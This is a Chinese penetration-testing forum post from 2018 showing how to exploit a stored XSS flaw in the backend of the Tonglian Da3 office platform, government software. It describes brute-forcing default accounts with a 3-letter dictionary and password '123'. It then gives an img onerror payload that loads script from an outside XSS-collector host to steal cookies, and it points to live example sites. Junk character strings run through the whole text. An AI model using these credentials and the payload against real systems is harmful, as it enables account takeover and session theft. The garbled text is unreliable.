中国网络渗透测试联盟

标题: 同联Da3协同办公平台后台通用储存型xss漏洞 [打印本页]
作者: admin    时间: 2018-10-20 20:14
标题: 同联Da3协同办公平台后台通用储存型xss漏洞
/ [, I# Y/ R+ w: T# `$ U) f }! R1 _4 f, f) G; B6 w * F5 e& V( w5 @& J 1 o( R8 k2 {3 u$ r! ~# y$ A 2 z6 b( I+ y' ~, w+ }' t 3 o( ?- {, a" X- j3 Q4 b/ @ % m. o- c5 {3 \- j3 ]% V$ R5 D0 [% m9 a. v% ?- g 6 w* {& Y f c $ z1 M: M! q6 p4 N. g, E4 z% _. R$ N 5 z; u( v; k% [4 n' A( X* D) F% b+ a* b- J% `. x; z/ F( i- d
" a) F" o- s. s; x6 H* \" ], p) c

3 \6 X5 F' h1 J6 R- b 同联Da3协同办公平台后台通用储存型xss漏洞! J$ h$ S! X# h* J, V) w

6 W. }7 J1 o$ Y7 U. t9 G4 T3 ~

4 m6 p; Q1 E6 W) Q4 T9 O' }: w3 K; } 平台简介： b( A# l, d9 I; l/ v B, U

9 f" Z$ S5 r. Q6 W

% J8 F" y5 W/ Q7 L1 T% U3 r( i A  + P4 ]6 f0 ]1 z. j0 u l" ~

# S7 ?0 z% C% Q5 T/ Z& @

$ l9 Y0 z" a4 u 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
' j, N$ A- X9 P1 O同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
; X6 |/ @" n% i1 a# O4 N( |& X同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ & H0 r( b! X& t+ q1 {

$ j* @, w2 }" C$ S9 T

) @1 K# l% Q( K) X  6 r- L% w) u: p2 y

7 y+ q1 Q! W/ B# `# F

' y! Z: W* u: r9 u# p# t 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：5 B! F& r, T, Q6 P# t$ D4 K

6 m! G* \$ S( T& j% B% @. K

/ q% Q a0 l' E& D2 F  " a! E: U8 N0 X8 _

4 N' X) `$ e2 t3 T" H$ t7 ]

7 u0 Z' |9 B @$ ]5 [6 p http://1.1.1.1:7197/cap-aco/#（案例2-） 9 T9 G/ z+ x# I; b* Y* c, u6 B

* N! J$ P/ e, h. N; V0 k

0 ^0 I0 f5 `2 a: l; g% f8 g http://www.XXOO.com （案例1-官网网站）1 K! ]% i1 \3 K/ M

7 f! S0 {7 R* T# F$ w

6 f8 y9 O& f$ J$ N 漏洞详情:: K, |3 z- N3 m: p6 K: g9 W S7 X

$ a; |5 e) F3 x# T. M

# e: ^# t( e1 A2 M. a  案例一、9 b- }# M& J, n' z

" k) k9 ?1 i4 E8 S+ _ v- x% o0 o$ Y, c F

( N8 N& w% }8 M' { 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试# |/ I& e- U' q

) _+ o. N. g* |/ F! x& \

" {$ d5 h6 i: w8 U      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：* j9 y9 Y0 F. F% s5 l

6 u+ ?8 }. {5 l; A9 C8 `# p- ~

5 N5 Q" h+ e0 ?1 x  - v; q) k, V3 G( |0 y. {9 ]* D

2 j5 N% `$ } j% O

7 o# T' z; M/ H* ] IMG_256 }2 Y+ K1 f5 |; a5 E

8 C4 m" x; a- `$ F( h4 g m: ~

- X w# Y; _ W5 @2 ~; T, ` status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： 8 T g/ O) f0 ~$ N. t" Z) [. L- i; w

1 m7 i, F$ M! S8 x" f, B q

: C/ @+ V/ A7 m; P J* ^* H   . b* T% S0 J p: [* J; i

8 n1 {* h- u* c& y- W0 {

" @$ e, H) [- ^% \3 M; ]3 h 4 ~6 F0 o9 x* c* `" ~4 E

6 L( `6 @/ ^" Z1 M- C2 A

2 L0 F8 { K; P) _/ u5 g 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 & V% L4 H6 o& m; _. f

$ g/ @% d4 B8 c4 L% C

* b) t1 T7 H, x' J1 [0 W5 j" Q S   8 ]0 u4 G0 @3 g5 M

# ^2 i8 ^ ~& y+ c

/ ~4 t( V: N% t <img src=x # k1 x M2 O6 [5 w( donerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： * {) n5 c9 ~2 x* s L2 h0 `

$ D; ~" M4 t; p+ K. A5 y

- r! d R J, _; T! Y1 t 8 S( ^& E. U3 X" O( o! D

' b7 V" Q! @: k, S1 Q4 b

5 _1 |3 e o( y 然后发送，接收cookie如图： 7 R1 i7 j, I# I

1 H5 g+ k' ~6 Q0 Z

" k0 N2 K3 o# |$ E* X1 \/ j   0 G M, _& f% @" i

! B5 L+ C9 Y% ~

; |. @/ E0 _# s' L6 ?   " F4 O) d% u3 ?' X1 B

- P0 U1 N: s# \ @

6 e3 t$ f, q1 c   ( c2 n6 Q% z6 O( P% r( f

: q- b/ C5 Q/ w) r% g! r$ T

$ u/ b$ ]& H/ ~/ K   2 \8 c" K- y" C

' K( E) \: ^' a- m

- J2 G* o' i& J 3 {- w4 r- y1 n7 R/ R, E2 J* O- v

& ]4 X+ {4 L2 c- ]- Z/ g- ]1 M

2 t b1 S& j3 J2 n7 ?6 O " f0 m7 k0 s' o& z

- e" u" `5 b4 j1 c* q; D

& T' `+ d( {! v' p   2 \; q6 e) N0 c' l$ B

: s8 H" D7 \, r) r4 Z

) z7 `0 d. k8 T! @* ]% B- u 案例2、 ]: S0 D! B* t' U0 |- t

[( _% T- j% v$ w6 l6 U) U& m

( G3 u. Z8 i4 P5 `$ @1 }$ e: c 前面步骤都一样，下面看效果图： " f0 O; y2 k& p* h1 C! g& v6 Y0 c

( p& S2 i3 q2 A

$ d& G" \8 N8 {' ], Z& e2 a / N6 }2 m \( }

9 }4 d. K8 i1 Z4 r" f _6 j. m

/ P& {) W- `, J9 f' ~ # J3 I1 I- w# r0 X' p) l8 R

# c |# z9 _$ I5 n2 Z

3 p6 ~1 h* L3 `/ \: s* V2 H- q6 q   % A- W$ }# g/ U! ~+ @

) Q# G% _4 o$ l; ?+ I0 x

4 X8 F' d- [$ c. I' Z5 F8 U# O   1 y) o- X \4 E8 T

; l8 z; {/ ~ i

$ c0 L5 m+ O) W* U2 N* G8 w. H* P ; n0 i+ f& o* r q2 a) g

7 K0 h. p- f) P! j0 m/ E( K& C

% l; Y& w4 q# s5 q   & A. K4 }) W, A; V& Q! Y- K

5 G& N" X8 {- ]4 D

& K0 X" l# \3 R   5 E' [3 d4 M; Y0 S3 N: }

6 X# L8 c% |( ?3 W

A; _) i4 Z0 e5 O2 l2 \   - @% l% n! r; X/ E

9 q* T8 O. e% y L. P

: O n2 P+ ]& _/ F   6 s4 ]3 [& \7 M* [- w# I/ J/ l$ e$ m

3 f) ^+ Y6 R' t2 A, F- a$ v \




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2